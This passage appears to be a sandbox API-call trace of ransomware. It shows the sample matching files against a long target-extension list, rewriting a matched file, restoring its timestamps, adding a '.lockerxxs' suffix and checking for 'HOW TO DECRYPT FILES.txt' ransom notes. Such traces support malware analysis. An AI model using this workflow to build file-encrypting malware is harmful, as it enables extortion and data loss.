HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.doc") returned 0 [0086.396] lstrlenA (lpString="*.doc") returned 5 [0086.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.dot") returned 0 [0086.396] lstrlenA (lpString="*.dot") returned 5 [0086.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.docx") returned 0 [0086.397] lstrlenA (lpString="*.docx") returned 6 [0086.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.7z") returned 0 [0086.397] lstrlenA (lpString="*.7z") returned 4 [0086.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.tar") returned 0 [0086.397] lstrlenA (lpString="*.tar") returned 5 [0086.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.bz2") returned 0 [0086.397] lstrlenA (lpString="*.bz2") returned 5 [0086.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.gz") returned 0 [0086.397] lstrlenA (lpString="*.gz") returned 4 [0086.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.mkv") returned 0 [0086.397] lstrlenA (lpString="*.mkv") returned 5 [0086.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.eml") returned 0 [0086.397] lstrlenA (lpString="*.eml") returned 5 [0086.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.msg") returned 0 [0086.397] lstrlenA (lpString="*.msg") returned 5 [0086.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.edb") returned 0 [0086.397] lstrlenA (lpString="*.edb") returned 5 [0086.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.accdb") returned 0 [0086.397] lstrlenA (lpString="*.accdb") returned 7 [0086.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.odb") returned 0 [0086.397] lstrlenA (lpString="*.odb") returned 5 [0086.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.java") returned 0 [0086.397] lstrlenA (lpString="*.java") returned 6 [0086.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.asm") returned 0 [0086.397] lstrlenA (lpString="*.asm") returned 5 [0086.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.pfx") returned 0 [0086.397] lstrlenA (lpString="*.pfx") returned 5 [0086.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.pem") returned 0 [0086.398] lstrlenA (lpString="*.pem") returned 5 [0086.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.p12") returned 0 [0086.398] lstrlenA (lpString="*.p12") returned 5 [0086.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.gpg") returned 0 [0086.398] lstrlenA (lpString="*.gpg") returned 5 [0086.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.vsd") returned 0 [0086.398] lstrlenA (lpString="*.vsd") returned 5 [0086.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.odg") returned 0 [0086.398] lstrlenA (lpString="*.odg") returned 5 [0086.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.raw") returned 0 [0086.398] lstrlenA (lpString="*.raw") returned 5 [0086.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.nef") returned 0 [0086.398] lstrlenA (lpString="*.nef") returned 5 [0086.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.svg") returned 0 [0086.398] lstrlenA (lpString="*.svg") returned 5 [0086.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.psd") returned 0 [0086.398] lstrlenA (lpString="*.psd") returned 5 [0086.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.vmx") returned 0 [0086.398] lstrlenA (lpString="*.vmx") returned 5 [0086.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.vmdk") returned 0 [0086.398] lstrlenA (lpString="*.vmdk") returned 6 [0086.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.vdi") returned 0 [0086.398] lstrlenA (lpString="*.vdi") returned 5 [0086.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.lay6") returned 0 [0086.398] lstrlenA (lpString="*.lay6") returned 6 [0086.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.mpeg") returned 0 [0086.399] lstrlenA (lpString="*.mpeg") returned 6 [0086.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.djvu") returned 0 [0086.399] lstrlenA (lpString="*.djvu") returned 6 [0086.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.tiff") returned 0 [0086.399] lstrlenA (lpString="*.tiff") returned 6 [0086.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.backup") returned 0 [0086.399] lstrlenA (lpString="*.backup") returned 8 [0086.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.pdf") returned 0 [0086.399] lstrlenA (lpString="*.pdf") returned 5 [0086.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.cert") returned 0 [0086.399] lstrlenA (lpString="*.cert") returned 6 [0086.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.docm") returned 0 [0086.399] lstrlenA (lpString="*.docm") returned 6 [0086.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.xlsm") returned 0 [0086.399] lstrlenA (lpString="*.xlsm") returned 6 [0086.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.dwg") returned 0 [0086.399] lstrlenA (lpString="*.dwg") returned 5 [0086.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.nd") returned 0 [0086.399] lstrlenA (lpString="*.nd") returned 4 [0086.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.tlg") returned 0 [0086.399] lstrlenA (lpString="*.tlg") returned 5 [0086.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.lgb") returned 0 [0086.399] lstrlenA (lpString="*.lgb") returned 5 [0086.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.mov") returned 0 [0086.399] lstrlenA (lpString="*.mov") returned 5 [0086.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.xdw") returned 0 [0086.399] lstrlenA (lpString="*.xdw") returned 5 [0086.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.ods") returned 0 [0086.400] lstrlenA (lpString="*.ods") returned 5 [0086.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.wav") returned 0 [0086.400] lstrlenA (lpString="*.wav") returned 5 [0086.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.mp3") returned 1 [0086.400] lstrlenA (lpString="*.mp3") returned 5 [0086.400] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3" [0086.400] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3" [0086.400] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3." [0086.400] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3.lockerxxs" [0086.400] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\4xeshdq.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.401] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x152a3 [0086.401] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5e13b080, dwHighDateTime=0x1d5e028), lpLastAccessTime=0x407536*(dwLowDateTime=0x35994290, dwHighDateTime=0x1d5e42f), lpLastWriteTime=0x40753e*(dwLowDateTime=0x35994290, dwHighDateTime=0x1d5e42f)) returned 1 [0086.401] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.401] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1527d, lpOverlapped=0x0) returned 1 [0086.403] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3") returned="4xeShDQ.mp3" [0086.403] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.403] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1527d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1527d, lpOverlapped=0x0) returned 1 [0086.404] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.404] CloseHandle (hObject=0x90) returned 1 [0086.405] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\4xeshdq.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\4xeshdq.mp3.lockerxxs")) returned 1 [0086.407] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb15091b0, ftCreationTime.dwHighDateTime=0x1d5df9b, ftLastAccessTime.dwLowDateTime=0xc2b04450, ftLastAccessTime.dwHighDateTime=0x1d5e7bb, ftLastWriteTime.dwLowDateTime=0xc2b04450, ftLastWriteTime.dwHighDateTime=0x1d5e7bb, nFileSizeHigh=0x0, nFileSizeLow=0xed00, dwReserved0=0xdc0001dd, dwReserved1=0x4e00c4, cFileName="5QpI_cp.swf", cAlternateFileName="")) returned 1 [0086.407] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.407] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5QpI_cp.swf") returned 1 [0086.407] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5QpI_cp.swf") returned 1 [0086.407] lstrcmpiA (lpString1="", lpString2="5QpI_cp.swf") returned -1 [0086.407] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3") returned="4xeShDQ.mp3" [0086.407] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.407] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.407] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.407] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.408] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="5QpI_cp.swf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf" [0086.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.ems") returned 0 [0086.408] lstrlenA (lpString="*.ems") returned 5 [0086.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.db") returned 0 [0086.408] lstrlenA (lpString="*.db") returned 4 [0086.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.dbf") returned 0 [0086.408] lstrlenA (lpString="*.dbf") returned 5 [0086.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.myox") returned 0 [0086.408] lstrlenA (lpString="*.myox") returned 6 [0086.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.myo") returned 0 [0086.408] lstrlenA (lpString="*.myo") returned 5 [0086.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.qbw") returned 0 [0086.408] lstrlenA (lpString="*.qbw") returned 5 [0086.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.qbb") returned 0 [0086.408] lstrlenA (lpString="*.qbb") returned 5 [0086.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.qbm") returned 0 [0086.408] lstrlenA (lpString="*.qbm") returned 5 [0086.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.qbo") returned 0 [0086.408] lstrlenA (lpString="*.qbo") returned 5 [0086.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.qbx") returned 0 [0086.408] lstrlenA (lpString="*.qbx") returned 5 [0086.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.qba") returned 0 [0086.408] lstrlenA (lpString="*.qba") returned 5 [0086.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.qby") returned 0 [0086.409] lstrlenA (lpString="*.qby") returned 5 [0086.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.qbj") returned 0 [0086.409] lstrlenA (lpString="*.qbj") returned 5 [0086.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.ofx") returned 0 [0086.409] lstrlenA (lpString="*.ofx") returned 5 [0086.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.qif") returned 0 [0086.409] lstrlenA (lpString="*.qif") returned 5 [0086.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.mye") returned 0 [0086.409] lstrlenA (lpString="*.mye") returned 5 [0086.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.mbox") returned 0 [0086.409] lstrlenA (lpString="*.mbox") returned 6 [0086.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.eml") returned 0 [0086.409] lstrlenA (lpString="*.eml") returned 5 [0086.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.pst") returned 0 [0086.409] lstrlenA (lpString="*.pst") returned 5 [0086.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.ost") returned 0 [0086.409] lstrlenA (lpString="*.ost") returned 5 [0086.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.idx") returned 0 [0086.409] lstrlenA (lpString="*.idx") returned 5 [0086.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.dbx") returned 0 [0086.409] lstrlenA (lpString="*.dbx") returned 5 [0086.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.sql") returned 0 [0086.409] lstrlenA (lpString="*.sql") returned 5 [0086.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.mdb") returned 0 [0086.409] lstrlenA (lpString="*.mdb") returned 5 [0086.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.fdb") returned 0 [0086.410] lstrlenA (lpString="*.fdb") returned 5 [0086.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.wab") returned 0 [0086.410] lstrlenA (lpString="*.wab") returned 5 [0086.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.dat") returned 0 [0086.410] lstrlenA (lpString="*.dat") returned 5 [0086.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.txt") returned 0 [0086.410] lstrlenA (lpString="*.txt") returned 5 [0086.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.jpeg") returned 0 [0086.410] lstrlenA (lpString="*.jpeg") returned 6 [0086.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.jpg") returned 0 [0086.410] lstrlenA (lpString="*.jpg") returned 5 [0086.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.png") returned 0 [0086.410] lstrlenA (lpString="*.png") returned 5 [0086.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.php") returned 0 [0086.410] lstrlenA (lpString="*.php") returned 5 [0086.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.cs") returned 0 [0086.410] lstrlenA (lpString="*.cs") returned 4 [0086.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.cpp") returned 0 [0086.410] lstrlenA (lpString="*.cpp") returned 5 [0086.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.rar") returned 0 [0086.410] lstrlenA (lpString="*.rar") returned 5 [0086.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.zip") returned 0 [0086.410] lstrlenA (lpString="*.zip") returned 5 [0086.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.html") returned 0 [0086.411] lstrlenA (lpString="*.html") returned 6 [0086.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.htm") returned 0 [0086.411] lstrlenA (lpString="*.htm") returned 5 [0086.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.xlsx") returned 0 [0086.411] lstrlenA (lpString="*.xlsx") returned 6 [0086.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.xls") returned 0 [0086.411] lstrlenA (lpString="*.xls") returned 5 [0086.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.mp4") returned 0 [0086.411] lstrlenA (lpString="*.mp4") returned 5 [0086.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.ppt") returned 0 [0086.411] lstrlenA (lpString="*.ppt") returned 5 [0086.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.pptx") returned 0 [0086.411] lstrlenA (lpString="*.pptx") returned 6 [0086.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.doc") returned 0 [0086.411] lstrlenA (lpString="*.doc") returned 5 [0086.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.dot") returned 0 [0086.411] lstrlenA (lpString="*.dot") returned 5 [0086.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.docx") returned 0 [0086.411] lstrlenA (lpString="*.docx") returned 6 [0086.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.7z") returned 0 [0086.411] lstrlenA (lpString="*.7z") returned 4 [0086.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.tar") returned 0 [0086.411] lstrlenA (lpString="*.tar") returned 5 [0086.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", 